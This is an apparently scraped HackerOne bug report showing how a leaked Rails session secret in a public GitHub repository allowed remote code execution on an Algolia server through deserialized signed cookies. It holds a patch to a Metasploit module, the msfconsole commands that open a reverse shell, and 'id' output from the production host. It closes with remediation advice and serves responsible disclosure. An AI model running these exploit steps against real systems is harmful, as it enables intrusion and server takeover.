Algolia: RCE on

ID H1:134321
Type hackerone
Reporter michiel
Modified 2016-10-01T15:24:10


While doing recon on Algolia, I found that the session secret for has been committed to a public GitHub repository. Since the Rails app running at is using CookieStore as the session storage, this means an attacker knowing the session secret can craft any cookie that will then be accepted by the server.

Cookie values are deserialized (unmarshalled) server-side. That combined with knowing the session secret creates the dangerous opportunity for an RCE. The attacker can sign a cookie that contains a Ruby object that evals arbitrary code when it is deserialized on the server side. The concept is explained in depth here:

Where did I find the session secret?

I used Gitrob to scan all of Algolia's public repositories (plus repositories from employees) and extract everything that is interesting. The secret_token.rb initializer immediately caught my attention since it usually contains the secret_key_base, which should never be public.

The token can be found here:

Proof of Concept

@joernchen developed a ready to go proof of concept for this vulnerability and submitted it to the Metasploit Framework:

Since the version of the exploit doesn't take cookies with - into account, here is a small patch to allow the exploit to work on the _facebook-search_session cookie. Here's the patch for the exploit:

diff if res && !res.get_cookies.empty? - match = res.get_cookies.match(/([_A-Za-z0-9]+)=([A-Za-z0-9%]*)--([0-9A-Fa-f]+);/) + match = res.get_cookies.match(/([_A-Za-z0-9\-]+)=([A-Za-z0-9%]*)--([0-9A-Fa-f]+);/) end

With that patch applied, you can run the PoC from msfconsole by following these commands:


setting up

use exploit/multi/http/rails_secret_deserialization set secret "<grab-from-github-url>" set rhost set railsversion 4 set targeturi /auth/facebook

and then run


when successful, a reverse shell will be established

this allows you to run arbitrary commands


As a proof of concept, I ran id:

id uid=1000(prod) gid=1000(prod) groups=1000(prod)

But since that is very generic, I also created with the text "PoC by michiel" to proof regular write access is possible as well.


Switch config/initializers/secret_token.rb to use an environment variable (e.g. ENV['SECRET_KEY_BASE']). You must also generate a new token because the current secret is compromised. A new secret can be generated by running rake secret from the command line. Make sure the new secret does not leak in git commit history.